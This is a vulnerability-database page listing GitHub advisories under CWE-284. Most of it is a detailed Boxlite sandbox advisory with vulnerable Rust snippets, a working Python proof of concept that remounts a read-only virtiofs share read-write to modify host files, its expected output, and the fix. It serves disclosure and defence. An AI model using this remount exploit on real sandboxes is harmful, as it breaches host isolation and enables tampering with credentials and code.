CWE-284
DiscouragedImproper Access Control
Abstraction: Pillar · Status: Incomplete
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
8430 vulnerabilities reference this CWE, most recent first.
GHSA-G6JF-PX93-6CVF
Vulnerability from github – Published: 2022-05-17 03:40 – Updated: 2022-05-17 03:40Unspecified vulnerability in the Primavera P6 Enterprise Project Portfolio Management component in Oracle Primavera Products Suite 8.4, 15.x, and 16.x allows remote authenticated users to affect confidentiality and integrity via unknown vectors.
{
"affected": [],
"aliases": [
"CVE-2016-5533"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2016-10-25T14:30:00Z",
"severity": "MODERATE"
},
"details": "Unspecified vulnerability in the Primavera P6 Enterprise Project Portfolio Management component in Oracle Primavera Products Suite 8.4, 15.x, and 16.x allows remote authenticated users to affect confidentiality and integrity via unknown vectors.",
"id": "GHSA-g6jf-px93-6cvf",
"modified": "2022-05-17T03:40:32Z",
"published": "2022-05-17T03:40:32Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-5533"
},
{
"type": "WEB",
"url": "http://www.oracle.com/technetwork/security-advisory/cpuoct2016-2881722.html"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/93676"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-G6QW-3GMW-M78M
Vulnerability from github – Published: 2026-03-18 00:30 – Updated: 2026-03-18 06:31Vulnerability in the Oracle Edge Cloud Infrastructure Designer and Visualisation Toolkit product of Oracle Open Source Projects (component: Desktop). The supported version that is affected is 0.3.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Edge Cloud Infrastructure Designer and Visualisation Toolkit. Successful attacks of this vulnerability can result in takeover of Oracle Edge Cloud Infrastructure Designer and Visualisation Toolkit. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
{
"affected": [],
"aliases": [
"CVE-2026-21994"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-17T23:16:17Z",
"severity": "CRITICAL"
},
"details": "Vulnerability in the Oracle Edge Cloud Infrastructure Designer and Visualisation Toolkit product of Oracle Open Source Projects (component: Desktop). The supported version that is affected is 0.3.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Edge Cloud Infrastructure Designer and Visualisation Toolkit. Successful attacks of this vulnerability can result in takeover of Oracle Edge Cloud Infrastructure Designer and Visualisation Toolkit. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).",
"id": "GHSA-g6qw-3gmw-m78m",
"modified": "2026-03-18T06:31:19Z",
"published": "2026-03-18T00:30:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-21994"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/all-oracle-cves-outside-other-oracle-public-documents.html"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/public-vuln-to-advisory-mapping.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-G6WW-W5J2-R7X3
Vulnerability from github – Published: 2026-05-21 21:52 – Updated: 2026-06-12 19:27Summary
Boxlite is a sandbox service that allows users to create lightweight virtual machines (Boxes) and launch OCI containers within them to run untrusted code.
One of the core security features claimed by Boxlite is the ability to mount host directories in read-only mode (read_only=True) into the VM via the virtiofs protocol (a host-guest shared filesystem protocol designed specifically for virtual machines), so that untrusted code can only read but not modify host data. Since the underlying function of the lightweight VM library libkrun used by Boxlite does not support mounting in read-only mode, Boxlite chooses to implement read-only by adding the MS_RDONLY flag when mounting the directory after the VM starts.
However, because Boxlite does not restrict the kernel capabilities available inside the container, malicious code can remount the directory in rw mode, thereby gaining write access to that directory. This allows malicious code to perform arbitrary write operations on directories that should be read-only.
In typical usage scenarios of Boxlite, an attacker can leverage this vulnerability to gain code execution capability on the host. For example, in AI Agent scenarios, user code, virtual environments, credentials, configuration files, and other content are often mounted in read-only mode into the container. Malicious code inside the sandbox can modify this information, such as planting malicious code, to gain code execution capability on the host, which may further introduce supply chain risks.
Details
- User-Facing API Documents Read-Only Guarantee
File: boxlite/src/runtime/options.rs Function: VolumeSpec (line 223) Code:
/// Filesystem mount specification.
pub struct VolumeSpec {
pub host_path: String,
pub guest_path: String,
pub read_only: bool, // <-- operator sets this to restrict guest write access
}
Issue: The read_only field is documented (and in user-facing guides) as preventing the guest from writing to the host directory. The guarantee is "Agent can read but not write." This expectation is not met.
- read_only Stored in FsShare — Passed to krun Without Enforcement
File: boxlite/src/vmm/krun/engine.rs Function: Krun::create() (line 334) Code:
for share in config.fs_shares.shares() {
let path_str = share.host_path.to_str().ok_or_else(|| { ... })?;
tracing::info!(
" {} → {} ({})",
share.tag,
share.host_path.display(),
if share.read_only { "ro" } else { "rw" } // Logged but NOT passed to krun
);
ctx.add_virtiofs(&share.tag, path_str)?; // <-- read_only silently dropped
}
Issue: share.read_only is logged as "ro" or "rw" but is never passed to add_virtiofs. The actual hypervisor call receives only tag and host path.
- Hypervisor FFI Has No Read-Only Parameter
File: boxlite/src/vmm/krun/context.rs Function: add_virtiofs() (line 423) Code:
pub unsafe fn add_virtiofs(&self, mount_tag: &str, host_path: &str) -> BoxliteResult<()> {
let host_path_c = CString::new(host_path)
.map_err(|e| BoxliteError::Engine(format!("invalid host path: {e}")))?;
let mount_tag_c = CString::new(mount_tag)
.map_err(|e| BoxliteError::Engine(format!("invalid mount tag: {e}")))?;
check_status("krun_add_virtiofs", unsafe {
krun_add_virtiofs(self.ctx_id, mount_tag_c.as_ptr(), host_path_c.as_ptr())
// No read_only parameter — libkrun exposes the share as read-write to the guest
})
}
Issue: krun_add_virtiofs in the FFI (deps/libkrun-sys/src/lib.rs:35) takes only ctx_id, mount_tag, and host_path. There is no read-only flag. Libkrun exposes the virtiofs share to the guest with full read-write access at the device level.
- Read-Only Enforcement Is Delegated to Guest Agent (Zone 0)
File: boxlite/src/volumes/guest_volume.rs Function: build_guest_mounts() (line 184) Code:
for entry in &self.fs_shares {
let mount_point = entry.guest_path.as_deref().unwrap_or("");
volumes.push(VolumeConfig::virtiofs(
&entry.tag,
mount_point,
entry.read_only, // <-- sent to guest agent as instruction
entry.container_id.clone(),
));
}
Issue: The read_only flag is sent to the guest agent via gRPC as a mount instruction. The guest agent is expected to pass -o ro to the mount syscall. But the guest runs Zone 0 code — untrusted, assumed malicious. A compromised or malicious guest simply ignores this instruction.
- FFI Declaration Confirms No Read-Only Variant Exists
File: boxlite/deps/libkrun-sys/src/lib.rs Function: krun_add_virtiofs extern declaration (line 35) Code:
extern "C" {
pub fn krun_add_virtiofs(
ctx_id: u32,
mount_tag: *const c_char,
host_path: *const c_char,
) -> i32;
// No krun_add_virtiofs_ro or equivalent declared
}
Issue: There is no alternative read-only virtiofs FFI function declared. The entire codebase has no krun_add_virtiofs_ro or read-only parameter variant. Enforcement at the hypervisor level does not exist.
- OCI Spec Builder Grants All Capabilities
File: guest/src/container/capabilities.rs Function: all_capabilities() (line 19) Code:
rust
pub fn all_capabilities() -> HashSet<Capability> {
[
// ...
Capability::SysModule, // 16: load/unload kernel modules
Capability::SysRawio, // 17: perform I/O port operations
Capability::SysAdmin, // 21: various admin operations
Capability::NetAdmin, // 12: network administration
Capability::NetRaw, // 13: use RAW/PACKET sockets
Capability::MacOverride, // 32: override MAC
Capability::Bpf, // 39: BPF operations
// ... all 41 capabilities
]
.into_iter()
.collect()
}
Issue: Returns all 41 capabilities including the most dangerous ones, like Capability::SysAdmin. The function comment itself says "maximum compatibility but reduced security isolation."
PoC
-
Install Boxlite following the official tutorial.
-
Run the following Python script:
```python import asyncio import os import tempfile import sys from boxlite import Boxlite, BoxOptions
async def run(box, cmd): """Run shell command via native box.exec API.""" execution = await box.exec("sh", ["-c", cmd], None) stdout_stream = execution.stdout() stderr_stream = execution.stderr()
stdout_lines, stderr_lines = [], []
async def read_stdout():
async for line in stdout_stream:
stdout_lines.append(line if isinstance(line, str) else line.decode('utf-8', errors='replace'))
async def read_stderr():
async for line in stderr_stream:
stderr_lines.append(line if isinstance(line, str) else line.decode('utf-8', errors='replace'))
await asyncio.gather(read_stdout(), read_stderr())
result = await execution.wait()
return {
'exit_code': result.exit_code,
'stdout': ''.join(stdout_lines),
'stderr': ''.join(stderr_lines),
}
async def main(): # Step 1: Set up host directory with a read-only file host_dir = tempfile.mkdtemp(prefix="virtiofs_ro_poc_") ro_file = os.path.join(host_dir, "read_only.txt")
with open(ro_file, "w") as f:
f.write("original content\n")
print(f"[+] Step 1: Host directory created: {host_dir}")
print(f" read_only.txt: {open(ro_file).read().strip()}")
print()
guest_mount = "/mnt/sensitive"
print(f"[+] Step 2: Launching BoxLite VM with:")
print(f" volumes=[('{host_dir}', '{guest_mount}', True)] # read_only=True")
print()
try:
runtime = Boxlite.default()
opts = BoxOptions(
image="alpine:latest",
volumes=[(host_dir, guest_mount, True)], # <-- read_only=True
memory_mib=512,
cpus=1,
auto_remove=True,
)
box = await runtime.create(opts)
async with box:
print("[+] Step 3: VM booted. Checking virtiofs mount state...")
r = await run(box, f"cat /proc/mounts | grep sensitive")
print(f" /proc/mounts: {r['stdout'].strip()}")
print()
print("[+] Step 4: Testing write protection (initial state)...")
r2 = await run(box, f"echo 'modified content' > {guest_mount}/read_only.txt 2>&1; echo write_exit:$?")
out = r2['stdout'].strip()
print(f" Write attempt: {out}")
if "Read-only" in out or "read-only" in out:
print(f" [OK] Initially blocked - client-side MS_RDONLY is active")
print()
print("[!!!] Step 5: ATTACK - Bypassing read-only via remount...")
r3 = await run(box, f"mount -o remount,rw {guest_mount} 2>&1; echo remount_exit:$?")
print(f" Remount result: {r3['stdout'].strip()}")
r4 = await run(box, f"cat /proc/mounts | grep sensitive")
print(f" Mount flags after: {r4['stdout'].strip()}")
print()
print("[!!!] Step 6: Writing to 'read-only' mount after bypass...")
r5 = await run(box, f"echo 'modified content' > {guest_mount}/read_only.txt 2>&1; echo write_exit:$?")
print(f" Write result: {r5['stdout'].strip()}")
r6 = await run(box, f"cat {guest_mount}/read_only.txt")
print(f" File content inside guest: {r6['stdout'].strip()}")
print()
print("[+] Step 7: HOST VERIFICATION")
content = open(ro_file).read().strip()
print(f" read_only.txt on host: {content}")
print()
print("FINAL RESULT:")
print()
if content == "modified content":
print(" [!!!] VULNERABILITY CONFIRMED - EXPLOITABLE")
else:
print(" [?] Bypass did not produce host-side writes.")
except Exception as e:
print(f"[-] Error: {e}")
import traceback
traceback.print_exc()
finally:
import shutil
try:
shutil.rmtree(host_dir)
print(f"\n[+] Cleanup: removed {host_dir}")
except:
pass
asyncio.run(main()) ```
This script mounts a directory in read-only mode into the sandbox and attempts to exploit the vulnerability to modify a file in that directory. Expected output:
``` $ python poc.py [+] Step 1: Host directory created: /tmp/virtiofs_ro_poc_93fdis21 read_only.txt: original content
[+] Step 2: Launching BoxLite VM with: volumes=[('/tmp/virtiofs_ro_poc_93fdis21', '/mnt/sensitive', True)] # read_only=True
[+] Step 3: VM booted. Checking virtiofs mount state... /proc/mounts: uservol0 /mnt/sensitive virtiofs ro,relatime 0 0
[+] Step 4: Testing write protection (initial state)... Write attempt: write_exit:1
[!!!] Step 5: ATTACK - Bypassing read-only via remount... Remount result: remount_exit:0 Mount flags after: uservol0 /mnt/sensitive virtiofs rw,relatime 0 0
[!!!] Step 6: Writing to 'read-only' mount after bypass... Write result: write_exit:0 File content inside guest: modified content
[+] Step 7: HOST VERIFICATION read_only.txt on host: modified content
FINAL RESULT:
[!!!] VULNERABILITY CONFIRMED - EXPLOITABLE
[+] Cleanup: removed /tmp/virtiofs_ro_poc_93fdis21 ```
Impact
Malicious code can perform arbitrary write operations on directories that should be read-only.
In typical usage scenarios of Boxlite, an attacker can leverage this vulnerability to gain code execution capability on the host. For example, in AI Agent scenarios, user code, virtual environments, credentials, configuration files, and other content are often mounted in read-only mode into the container. Malicious code inside the sandbox can modify this information, such as planting malicious code, to gain code execution capability on the host, which may further introduce supply chain risks.
Score
Severity: Critical, Score: 10.0, rationale as follows:
- AV:N — Malicious code can be transmitted through networks, such as code written by large language models.
- AC:L — No special conditions or race conditions are required. The attacker simply executes a
mount -o remount,rwcommand inside the container.CAP_SYS_ADMINis granted by default, and the attack is deterministic and trivially reproducible. - PR:N — The attacker needs the ability to execute arbitrary code inside the Boxlite sandbox, which is the fundamental use case of Boxlite (running untrusted code).
- UI:N — No user interaction is required. Malicious code inside the container can autonomously exploit this vulnerability without any action from the host operator.
- S:C — The vulnerability allows the attacker to cross the sandbox trust boundary and impact the host system. The vulnerable component is the Boxlite sandbox isolation mechanism, but the impacted component is the host filesystem.
- C:H — With write access to host directories, the attacker can plant malicious code that will be executed by the host, leading to full compromise of sensitive host data including credentials, API keys, user code, and configuration files mounted into the container.
- I:H — The attacker gains full write access to host directories explicitly intended to be read-only, allowing arbitrary modification of host files including planting backdoors, modifying virtual environments for supply chain attacks, and altering credentials and configuration files.
- A:N — The vulnerability primarily enables unauthorized write access. The host system and Boxlite service continue to function; no distinct availability impact mechanism exists beyond secondary consequences of write access.
Credit
This vulnerability was discovered by:
- XlabAI Team of Tencent Xuanwu Lab
- Atuin Automated Vulnerability Discovery Engine
CVE and credit are preferred.
If you have any questions regarding the vulnerability details, please feel free to reach out to us for further discussion. Our email address is xlabai@tencent.com.
Note
Note that we follow the industry-standard 90+30 disclosure policy (Reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). This means that we reserve the right to disclose the details of the vulnerability 30 days after the fix has been implemented.
Resolution
Fixed in v0.9.0 by PR #454 (commit 2c26968e), released 2026-04-29, with defense-in-depth across three layers:
- Hypervisor-level read-only enforcement. virtio-fs shares are now created via
krun_add_virtiofs3(libkrun v1.18.0) with theread_onlyflag passed through, so the share is read-only at the virtio-fs device — before any request reaches the guest kernel. A malicious guestmount -o remount,rwcan no longer reach host data even if it regainedCAP_SYS_ADMIN. - Capability restriction. Containers now receive the 14 Docker-default capabilities, explicitly excluding
CAP_SYS_ADMIN(andCAP_NET_ADMIN,CAP_SYS_MODULE,CAP_SYS_RAWIO,CAP_MAC_OVERRIDE), so the remount in the PoC fails withEPERM. - TSI network isolation. When the network is disabled, the implicit vsock is replaced with an explicit vsock with no TSI features, closing a related guest→host socket-forwarding path.
Regression coverage: src/boxlite/tests/security_enforcement.rs (Rust core) and sdks/python/tests/test_readonly_volume_remount.py (Python SDK) both replay the PoC remount attack and assert it fails.
Remediation: upgrade to boxlite 0.9.0 or later (all SDKs: PyPI boxlite, npm @boxlite-ai/boxlite, Go module github.com/boxlite-ai/boxlite/sdks/go, crates.io boxlite / boxlite-cli). There is no workaround for affected versions; upgrade is required.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "boxlite"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@boxlite-ai/boxlite"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/boxlite-ai/boxlite/sdks/go"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "crates.io",
"name": "boxlite"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "crates.io",
"name": "boxlite-cli"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.9.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-46695"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-21T21:52:51Z",
"nvd_published_at": "2026-06-10T23:16:47Z",
"severity": "CRITICAL"
},
"details": "#### Summary\n\nBoxlite is a sandbox service that allows users to create lightweight virtual machines (Boxes) and launch OCI containers within them to run untrusted code.\n\nOne of the core security features claimed by Boxlite is the ability to mount host directories in read-only mode (read_only=True) into the VM via the virtiofs protocol (a host-guest shared filesystem protocol designed specifically for virtual machines), so that untrusted code can only read but not modify host data. Since the underlying function of the lightweight VM library libkrun used by Boxlite does not support mounting in read-only mode, Boxlite chooses to implement read-only by adding the MS_RDONLY flag when mounting the directory after the VM starts.\n\nHowever, because Boxlite does not restrict the kernel capabilities available inside the container, malicious code can remount the directory in rw mode, thereby gaining write access to that directory. This allows malicious code to perform arbitrary write operations on directories that should be read-only.\n\nIn typical usage scenarios of Boxlite, an attacker can leverage this vulnerability to gain code execution capability on the host. For example, in AI Agent scenarios, user code, virtual environments, credentials, configuration files, and other content are often mounted in read-only mode into the container. Malicious code inside the sandbox can modify this information, such as planting malicious code, to gain code execution capability on the host, which may further introduce supply chain risks.\n\n\n\n#### Details\n\n1. User-Facing API Documents Read-Only Guarantee\n\n**File:** `boxlite/src/runtime/options.rs` **Function:** `VolumeSpec` (line 223) **Code:**\n\n```rust\n/// Filesystem mount specification.\npub struct VolumeSpec {\n pub host_path: String,\n pub guest_path: String,\n pub read_only: bool, // \u003c-- operator sets this to restrict guest write access\n}\n```\n\n**Issue:** The `read_only` field is documented (and in user-facing guides) as preventing the guest from writing to the host directory. The guarantee is \"Agent can read but not write.\" This expectation is not met.\n\n2. read_only Stored in FsShare \u2014 Passed to krun Without Enforcement\n\n**File:** `boxlite/src/vmm/krun/engine.rs` **Function:** `Krun::create()` (line 334) **Code:**\n\n```rust\nfor share in config.fs_shares.shares() {\n let path_str = share.host_path.to_str().ok_or_else(|| { ... })?;\n\n tracing::info!(\n \" {} \u2192 {} ({})\",\n share.tag,\n share.host_path.display(),\n if share.read_only { \"ro\" } else { \"rw\" } // Logged but NOT passed to krun\n );\n ctx.add_virtiofs(\u0026share.tag, path_str)?; // \u003c-- read_only silently dropped\n}\n```\n\n**Issue:** `share.read_only` is logged as \"ro\" or \"rw\" but is never passed to `add_virtiofs`. The actual hypervisor call receives only tag and host path.\n\n3. Hypervisor FFI Has No Read-Only Parameter\n\n**File:** `boxlite/src/vmm/krun/context.rs` **Function:** `add_virtiofs()` (line 423) **Code:**\n\n```rust\npub unsafe fn add_virtiofs(\u0026self, mount_tag: \u0026str, host_path: \u0026str) -\u003e BoxliteResult\u003c()\u003e {\n let host_path_c = CString::new(host_path)\n .map_err(|e| BoxliteError::Engine(format!(\"invalid host path: {e}\")))?;\n let mount_tag_c = CString::new(mount_tag)\n .map_err(|e| BoxliteError::Engine(format!(\"invalid mount tag: {e}\")))?;\n\n check_status(\"krun_add_virtiofs\", unsafe {\n krun_add_virtiofs(self.ctx_id, mount_tag_c.as_ptr(), host_path_c.as_ptr())\n // No read_only parameter \u2014 libkrun exposes the share as read-write to the guest\n })\n}\n```\n\n**Issue:** `krun_add_virtiofs` in the FFI (`deps/libkrun-sys/src/lib.rs:35`) takes only `ctx_id`, `mount_tag`, and `host_path`. There is no read-only flag. Libkrun exposes the virtiofs share to the guest with full read-write access at the device level.\n\n4. Read-Only Enforcement Is Delegated to Guest Agent (Zone 0)\n\n**File:** `boxlite/src/volumes/guest_volume.rs` **Function:** `build_guest_mounts()` (line 184) **Code:**\n\n```rust\nfor entry in \u0026self.fs_shares {\n let mount_point = entry.guest_path.as_deref().unwrap_or(\"\");\n volumes.push(VolumeConfig::virtiofs(\n \u0026entry.tag,\n mount_point,\n entry.read_only, // \u003c-- sent to guest agent as instruction\n entry.container_id.clone(),\n ));\n}\n```\n\n**Issue:** The `read_only` flag is sent to the guest agent via gRPC as a mount instruction. The guest agent is expected to pass `-o ro` to the mount syscall. But the guest runs Zone 0 code \u2014 untrusted, assumed malicious. A compromised or malicious guest simply ignores this instruction.\n\n5. FFI Declaration Confirms No Read-Only Variant Exists\n\n**File:** `boxlite/deps/libkrun-sys/src/lib.rs` **Function:** `krun_add_virtiofs` extern declaration (line 35) **Code:**\n\n```rust\nextern \"C\" {\n pub fn krun_add_virtiofs(\n ctx_id: u32,\n mount_tag: *const c_char,\n host_path: *const c_char,\n ) -\u003e i32;\n // No krun_add_virtiofs_ro or equivalent declared\n}\n```\n\n**Issue:** There is no alternative read-only virtiofs FFI function declared. The entire codebase has no `krun_add_virtiofs_ro` or read-only parameter variant. Enforcement at the hypervisor level does not exist.\n\n6. OCI Spec Builder Grants All Capabilities\n\n **File:** `guest/src/container/capabilities.rs` **Function:** `all_capabilities()` (line 19) **Code:**\n\n ```rust\n pub fn all_capabilities() -\u003e HashSet\u003cCapability\u003e {\n [\n // ...\n Capability::SysModule, // 16: load/unload kernel modules\n Capability::SysRawio, // 17: perform I/O port operations\n Capability::SysAdmin, // 21: various admin operations\n Capability::NetAdmin, // 12: network administration\n Capability::NetRaw, // 13: use RAW/PACKET sockets\n Capability::MacOverride, // 32: override MAC\n Capability::Bpf, // 39: BPF operations\n // ... all 41 capabilities\n ]\n .into_iter()\n .collect()\n }\n ```\n\n**Issue:** Returns all 41 capabilities including the most dangerous ones, like `Capability::SysAdmin`. The function comment itself says \"maximum compatibility but reduced security isolation.\"\n\n\n\n#### PoC\n\n1. Install Boxlite following the official tutorial.\n\n2. Run the following Python script:\n\n ```python\n import asyncio\n import os\n import tempfile\n import sys\n from boxlite import Boxlite, BoxOptions\n \n \n async def run(box, cmd):\n \"\"\"Run shell command via native box.exec API.\"\"\"\n execution = await box.exec(\"sh\", [\"-c\", cmd], None)\n stdout_stream = execution.stdout()\n stderr_stream = execution.stderr()\n \n stdout_lines, stderr_lines = [], []\n \n async def read_stdout():\n async for line in stdout_stream:\n stdout_lines.append(line if isinstance(line, str) else line.decode(\u0027utf-8\u0027, errors=\u0027replace\u0027))\n \n async def read_stderr():\n async for line in stderr_stream:\n stderr_lines.append(line if isinstance(line, str) else line.decode(\u0027utf-8\u0027, errors=\u0027replace\u0027))\n \n await asyncio.gather(read_stdout(), read_stderr())\n result = await execution.wait()\n \n return {\n \u0027exit_code\u0027: result.exit_code,\n \u0027stdout\u0027: \u0027\u0027.join(stdout_lines),\n \u0027stderr\u0027: \u0027\u0027.join(stderr_lines),\n }\n \n async def main():\n # Step 1: Set up host directory with a read-only file\n host_dir = tempfile.mkdtemp(prefix=\"virtiofs_ro_poc_\")\n ro_file = os.path.join(host_dir, \"read_only.txt\")\n \n with open(ro_file, \"w\") as f:\n f.write(\"original content\\n\")\n \n print(f\"[+] Step 1: Host directory created: {host_dir}\")\n print(f\" read_only.txt: {open(ro_file).read().strip()}\")\n print()\n \n guest_mount = \"/mnt/sensitive\"\n print(f\"[+] Step 2: Launching BoxLite VM with:\")\n print(f\" volumes=[(\u0027{host_dir}\u0027, \u0027{guest_mount}\u0027, True)] # read_only=True\")\n print()\n \n try:\n runtime = Boxlite.default()\n opts = BoxOptions(\n image=\"alpine:latest\",\n volumes=[(host_dir, guest_mount, True)], # \u003c-- read_only=True\n memory_mib=512,\n cpus=1,\n auto_remove=True,\n )\n \n box = await runtime.create(opts)\n async with box:\n print(\"[+] Step 3: VM booted. Checking virtiofs mount state...\")\n r = await run(box, f\"cat /proc/mounts | grep sensitive\")\n print(f\" /proc/mounts: {r[\u0027stdout\u0027].strip()}\")\n print()\n \n print(\"[+] Step 4: Testing write protection (initial state)...\")\n r2 = await run(box, f\"echo \u0027modified content\u0027 \u003e {guest_mount}/read_only.txt 2\u003e\u00261; echo write_exit:$?\")\n out = r2[\u0027stdout\u0027].strip()\n print(f\" Write attempt: {out}\")\n if \"Read-only\" in out or \"read-only\" in out:\n print(f\" [OK] Initially blocked - client-side MS_RDONLY is active\")\n print()\n \n print(\"[!!!] Step 5: ATTACK - Bypassing read-only via remount...\")\n r3 = await run(box, f\"mount -o remount,rw {guest_mount} 2\u003e\u00261; echo remount_exit:$?\")\n print(f\" Remount result: {r3[\u0027stdout\u0027].strip()}\")\n r4 = await run(box, f\"cat /proc/mounts | grep sensitive\")\n print(f\" Mount flags after: {r4[\u0027stdout\u0027].strip()}\")\n print()\n \n print(\"[!!!] Step 6: Writing to \u0027read-only\u0027 mount after bypass...\")\n r5 = await run(box, f\"echo \u0027modified content\u0027 \u003e {guest_mount}/read_only.txt 2\u003e\u00261; echo write_exit:$?\")\n print(f\" Write result: {r5[\u0027stdout\u0027].strip()}\")\n r6 = await run(box, f\"cat {guest_mount}/read_only.txt\")\n print(f\" File content inside guest: {r6[\u0027stdout\u0027].strip()}\")\n print()\n \n print(\"[+] Step 7: HOST VERIFICATION\")\n content = open(ro_file).read().strip()\n print(f\" read_only.txt on host: {content}\")\n print()\n \n print(\"FINAL RESULT:\")\n print()\n if content == \"modified content\":\n print(\" [!!!] VULNERABILITY CONFIRMED - EXPLOITABLE\")\n else:\n print(\" [?] Bypass did not produce host-side writes.\")\n \n except Exception as e:\n print(f\"[-] Error: {e}\")\n import traceback\n traceback.print_exc()\n finally:\n import shutil\n try:\n shutil.rmtree(host_dir)\n print(f\"\\n[+] Cleanup: removed {host_dir}\")\n except:\n pass\n \n asyncio.run(main())\n ```\n\n This script mounts a directory in read-only mode into the sandbox and attempts to exploit the vulnerability to modify a file in that directory. Expected output:\n\n ```\n $ python poc.py\n [+] Step 1: Host directory created: /tmp/virtiofs_ro_poc_93fdis21\n read_only.txt: original content\n \n [+] Step 2: Launching BoxLite VM with:\n volumes=[(\u0027/tmp/virtiofs_ro_poc_93fdis21\u0027, \u0027/mnt/sensitive\u0027, True)] # read_only=True\n \n [+] Step 3: VM booted. Checking virtiofs mount state...\n /proc/mounts: uservol0 /mnt/sensitive virtiofs ro,relatime 0 0\n \n [+] Step 4: Testing write protection (initial state)...\n Write attempt: write_exit:1\n \n [!!!] Step 5: ATTACK - Bypassing read-only via remount...\n Remount result: remount_exit:0\n Mount flags after: uservol0 /mnt/sensitive virtiofs rw,relatime 0 0\n \n [!!!] Step 6: Writing to \u0027read-only\u0027 mount after bypass...\n Write result: write_exit:0\n File content inside guest: modified content\n \n [+] Step 7: HOST VERIFICATION\n read_only.txt on host: modified content\n \n FINAL RESULT:\n \n [!!!] VULNERABILITY CONFIRMED - EXPLOITABLE\n \n [+] Cleanup: removed /tmp/virtiofs_ro_poc_93fdis21\n ```\n\n \n\n\n\n#### Impact\n\nMalicious code can perform arbitrary write operations on directories that should be read-only.\n\nIn typical usage scenarios of Boxlite, an attacker can leverage this vulnerability to gain code execution capability on the host. For example, in AI Agent scenarios, user code, virtual environments, credentials, configuration files, and other content are often mounted in read-only mode into the container. Malicious code inside the sandbox can modify this information, such as planting malicious code, to gain code execution capability on the host, which may further introduce supply chain risks.\n\n\n\n#### Score\n\nSeverity: Critical, Score: 10.0, rationale as follows: \n\n- **AV:N** \u2014 Malicious code can be transmitted through networks, such as code written by large language models.\n- **AC:L** \u2014 No special conditions or race conditions are required. The attacker simply executes a `mount -o remount,rw` command inside the container. `CAP_SYS_ADMIN` is granted by default, and the attack is deterministic and trivially reproducible.\n- **PR:N** \u2014 The attacker needs the ability to execute arbitrary code inside the Boxlite sandbox, which is the fundamental use case of Boxlite (running untrusted code). \n- **UI:N** \u2014 No user interaction is required. Malicious code inside the container can autonomously exploit this vulnerability without any action from the host operator.\n- **S:C** \u2014 The vulnerability allows the attacker to cross the sandbox trust boundary and impact the host system. The vulnerable component is the Boxlite sandbox isolation mechanism, but the impacted component is the host filesystem.\n- **C:H** \u2014 With write access to host directories, the attacker can plant malicious code that will be executed by the host, leading to full compromise of sensitive host data including credentials, API keys, user code, and configuration files mounted into the container.\n- **I:H** \u2014 The attacker gains full write access to host directories explicitly intended to be read-only, allowing arbitrary modification of host files including planting backdoors, modifying virtual environments for supply chain attacks, and altering credentials and configuration files.\n- **A:N** \u2014 The vulnerability primarily enables unauthorized write access. The host system and Boxlite service continue to function; no distinct availability impact mechanism exists beyond secondary consequences of write access.\n\n\n\n#### Credit\n\nThis vulnerability was discovered by:\n\n- XlabAI Team of Tencent Xuanwu Lab\n- Atuin Automated Vulnerability Discovery Engine\n\nCVE and credit are preferred.\n\nIf you have any questions regarding the vulnerability details, please feel free to reach out to us for further discussion. Our email address is xlabai@tencent.com.\n\n\n\n#### Note\n\nNote that we follow the industry-standard **90+30 disclosure policy** (Reference: https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-policy.html). This means that we reserve the right to disclose the details of the vulnerability 30 days after the fix has been implemented.\n\n#### Resolution\n\nFixed in **v0.9.0** by PR #454 (commit `2c26968e`), released 2026-04-29, with defense-in-depth across three layers:\n\n1. **Hypervisor-level read-only enforcement.** virtio-fs shares are now created via `krun_add_virtiofs3` (libkrun v1.18.0) with the `read_only` flag passed through, so the share is read-only at the virtio-fs device \u2014 before any request reaches the guest kernel. A malicious guest `mount -o remount,rw` can no longer reach host data even if it regained `CAP_SYS_ADMIN`.\n2. **Capability restriction.** Containers now receive the 14 Docker-default capabilities, explicitly excluding `CAP_SYS_ADMIN` (and `CAP_NET_ADMIN`, `CAP_SYS_MODULE`, `CAP_SYS_RAWIO`, `CAP_MAC_OVERRIDE`), so the remount in the 